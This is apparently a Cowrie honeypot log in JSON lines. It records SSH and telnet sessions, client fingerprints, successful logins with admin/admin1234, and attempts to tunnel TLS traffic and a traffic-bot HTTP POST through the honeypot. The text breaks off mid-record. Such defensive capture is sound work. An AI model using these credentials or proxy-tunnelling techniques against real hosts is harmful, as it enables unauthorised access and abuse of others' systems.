{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:43.439156Z","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:43.680429Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xa3F\\xe8\\x05\\xcb\\xce\\xec\\x12\\x96\\xd0e\\x15\\x19Wq]\\xac2\\xdaH\\x91\\x12s\\xea\\xbe!\\x14\\x10\\xe4\\x83R \\x18fN{\\xeb\"0r3^\\xa65\\xc1\\x14\\xfb\\xe5\\xbf\\xaa\\xe7\\xe0\\x0f\\x0f{S\\xa1\\xa9#\\xd8\\xa8\\xcf\\xaf\\x95\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\xe01\\xc1\\xf39-7f\\xff\\xe9c\\xa1\\xa0a\\xa5\\xf6\\xe2K\\x93Y\\xb6\\xfb\\xf0\\x86\\x94\\xb7_\\xab\\xfd\\x8fA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\xa3F\\xe8\\x05\\xcb\\xce\\xec\\x12\\x96\\xd0e\\x15\\x19Wq]\\xac2\\xdaH\\x91\\x12s\\xea\\xbe!\\x14\\x10\\xe4\\x83R \\x18fN{\\xeb\"0r3^\\xa65\\xc1\\x14\\xfb\\xe5\\xbf\\xaa\\xe7\\xe0\\x0f\\x0f{S\\xa1\\xa9#\\xd8\\xa8\\xcf\\xaf\\x95\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9d\\xe01\\xc1\\xf39-7f\\xff\\xe9c\\xa1\\xa0a\\xa5\\xf6\\xe2K\\x93Y\\xb6\\xfb\\xf0\\x86\\x94\\xb7_\\xab\\xfd\\x8fA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:43.683568Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:44.085754Z","src_ip":"123.27.168.40","session":"c93f1e92daa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.334938287734985,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:49.063762Z","src_ip":"128.199.8.54","session":"612b9ddb3abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.395976543426514,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:51.127083Z","src_ip":"128.199.8.54","session":"011450a2e384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":56917,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aac76bc54ae","protocol":"ssh","message":"New connection: 23.175.50.51:56917 (10.17.0.5:22) [session: 1aac76bc54ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:57.681311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:57.686104Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:57.883710Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":55853,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f09a6621e43","protocol":"ssh","message":"New connection: 113.164.152.20:55853 (10.17.0.5:22) [session: 8f09a6621e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:57.949310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:57.956374Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:58.232894Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:59.225014Z","src_ip":"23.175.50.51","session":"1aac76bc54ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:59.442720Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:59.825386Z","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:01:59.913489Z","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.082323Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; ANE-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YnhwSGQ0IUd1ITQpN18qWQ%3D%3DleNKva2gvn59v%2Bf%2FwVt66n2WnXOUq46eijKmS08I86pKmrquHwk46Ch3owNYB1%2BVjd%2BSJnwH62EuXWNhVtzoV0z5fFAF4GYpT7QlY8gjUM%2FqAYd2Wl8Eg%2FcuNO7A%2FHYVexdLkQRRBkeP%2FIkkkEdQJc4hpLXGik29xTtMPCSBG%2F6Ncuk68Ln5hktVlv8SU4EckVHVv%2BHwtayvCB%2FAwtKMzcYHhAsR%2B1DUq42D7Wn7Hr%2FQ0%2BGlZn7pVcmtK%2FcnRmY19NIODkY2Q3ou8pINHiaDu2s%2BXrHv5dN6%2BpDWzC6JeC7f6p3J5Y4rRSnDZhg6Cmp8HnrxqrauBjGb7chMLS2igeagcrIYsFT232r%2BJOW8AUDtTiCrsFWHz41mYUMIWHwi4Zkw5A3GnhRcws9C2%2Bn%2BO%2FcduAOuMUjo%2BZwVIYhRB4XuyaKkbt2VjtBjxagmds568p76BtCSPllXFCdwXIR0D7J7ikbmLBGGDKCo0%2FxDwv71xv6Ah2ik8GxAnvX3igTLGMQrUjcssXRlDMeBPuK7E%2FQ5dPYzcghIXBXfwegmtpgzLs9x8hoRcZVCcFdVPVME9JNZ%2BDCPTiraJkxNvAN1DtVX1YuCAajKX5dZRgMcXMDEW4QTru8%2FQRsNC3JcuQMfPrzlDqk1KPy0qbzhrPW14MI%2BPWCVQqbafNjEJ4H48Onla8aKuR2YPnjZBppSnDFklbNO1Elygd2vU%2B8R7YSeelRf%2FmnBerQrEPHoikglzK4H7Lz1JFXrKiN0YanCzbCn63jIfh0m8Vx%2BZzva%2BVifPAsJX6qFZa8c4R%2FvuyCIdA28oh4dJrzG79tj%2FFIqAcSQXjerFdjuSnDJ1UW0olntcPQPDBRSfuKeioXIEEe%2BSY4zY2TmxY2LdOMKQhzHhwKQAT5llvJsIgJ1zyMn7r7sSXhiKJ6ljtE4r0STfYzppoIf3bJjogtT9JrvdilpGBWijazjGlJu0HSSnDx9ImQkHOKRsCCCFqgGHJxWTvCP6DjktQniG3vdJdj1XbGIKNVvmkL94NWM6cllRc14nxxQf%2B5athd%2FxLCHY%2F6lzeDRi0oLajhTuUjI0hpzoYLVtoN%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; ANE-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YnhwSGQ0IUd1ITQpN18qWQ%3D%3DleNKva2gvn59v%2Bf%2FwVt66n2WnXOUq46eijKmS08I86pKmrquHwk46Ch3owNYB1%2BVjd%2BSJnwH62EuXWNhVtzoV0z5fFAF4GYpT7QlY8gjUM%2FqAYd2Wl8Eg%2FcuNO7A%2FHYVexdLkQRRBkeP%2FIkkkEdQJc4hpLXGik29xTtMPCSBG%2F6Ncuk68Ln5hktVlv8SU4EckVHVv%2BHwtayvCB%2FAwtKMzcYHhAsR%2B1DUq42D7Wn7Hr%2FQ0%2BGlZn7pVcmtK%2FcnRmY19NIODkY2Q3ou8pINHiaDu2s%2BXrHv5dN6%2BpDWzC6JeC7f6p3J5Y4rRSnDZhg6Cmp8HnrxqrauBjGb7chMLS2igeagcrIYsFT232r%2BJOW8AUDtTiCrsFWHz41mYUMIWHwi4Zkw5A3GnhRcws9C2%2Bn%2BO%2FcduAOuMUjo%2BZwVIYhRB4XuyaKkbt2VjtBjxagmds568p76BtCSPllXFCdwXIR0D7J7ikbmLBGGDKCo0%2FxDwv71xv6Ah2ik8GxAnvX3igTLGMQrUjcssXRlDMeBPuK7E%2FQ5dPYzcghIXBXfwegmtpgzLs9x8hoRcZVCcFdVPVME9JNZ%2BDCPTiraJkxNvAN1DtVX1YuCAajKX5dZRgMcXMDEW4QTru8%2FQRsNC3JcuQMfPrzlDqk1KPy0qbzhrPW14MI%2BPWCVQqbafNjEJ4H48Onla8aKuR2YPnjZBppSnDFklbNO1Elygd2vU%2B8R7YSeelRf%2FmnBerQrEPHoikglzK4H7Lz1JFXrKiN0YanCzbCn63jIfh0m8Vx%2BZzva%2BVifPAsJX6qFZa8c4R%2FvuyCIdA28oh4dJrzG79tj%2FFIqAcSQXjerFdjuSnDJ1UW0olntcPQPDBRSfuKeioXIEEe%2BSY4zY2TmxY2LdOMKQhzHhwKQAT5llvJsIgJ1zyMn7r7sSXhiKJ6ljtE4r0STfYzppoIf3bJjogtT9JrvdilpGBWijazjGlJu0HSSnDx9ImQkHOKRsCCCFqgGHJxWTvCP6DjktQniG3vdJdj1XbGIKNVvmkL94NWM6cllRc14nxxQf%2B5athd%2FxLCHY%2F6lzeDRi0oLajhTuUjI0hpzoYLVtoN%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.085755Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:02:01.089872Z","src_ip":"113.164.152.20","session":"8f09a6621e43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\xba\\xba\\x0be\\xd3f\\x84]\\\\-\\x9b\\xda\\x8d\\x02@h\\x06v&W.\\x9e\\xabL_P\\x1b\\x04\\xa8\\xc2\\x02 \\x02u\\rE\\x9f\\x8e&\\x11#I[\\xb9\\nA\\xfcx\\xc0 \\x0c\\x00\\x83\\xbbH\\xa3\\x98\\x1e\\xd6\\x06\\xe6!\\xbb\\xc4\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 k\\x05\\xd5\\xea\\x07\\xb3\\xad\\x95\\x9f)\\xceu_\\xfe\\xddq\\xa5\\x85:\\x9dn\\x9c`\\xf2 \\x8f\\xfd\\xc3hk\\xdb2\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\xba\\xba\\x0be\\xd3f\\x84]\\\\-\\x9b\\xda\\x8d\\x02@h\\x06v&W.\\x9e\\xabL_P\\x1b\\x04\\xa8\\xc2\\x02 \\x02u\\rE\\x9f\\x8e&\\x11#I[\\xb9\\nA\\xfcx\\xc0 \\x0c\\x00\\x83\\xbbH\\xa3\\x98\\x1e\\xd6\\x06\\xe6!\\xbb\\xc4\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 k\\x05\\xd5\\xea\\x07\\xb3\\xad\\x95\\x9f)\\xceu_\\xfe\\xddq\\xa5\\x85:\\x9dn\\x9c`\\xf2 